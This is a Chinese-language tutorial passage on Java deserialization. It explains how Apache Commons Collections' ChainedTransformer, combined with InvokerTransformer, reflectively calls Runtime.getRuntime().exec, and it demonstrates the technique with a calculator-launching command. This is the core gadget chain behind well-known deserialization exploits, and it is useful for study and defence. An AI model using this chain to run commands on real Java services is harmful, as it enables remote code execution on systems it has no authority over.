org.apache.commons.collections.functors.ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
ChainedTransformer.java:
public class ChainedTransformer implements Transformer, Serializable {/** The transformers to call in turn */private final Transformer[] iTransformers;// 省去多余的方法和变量public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}}
使用ChainedTransformer实现调用本地命令执行方法:
public static void main(String[] args) {// 定义需要执行的本地系统命令String cmd = "open -a Calculator.app";Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})};// 创建ChainedTransformer调用链对象Transformer transformedChain = new ChainedTransformer(transformers);// 执行对象转换操作transformedChain.transform(null);}
通过构建ChainedTransformer调用链我们最终会使用InvokerTransformer来完成反射调用Runtime.getRuntime().exec(cmd)的逻辑。
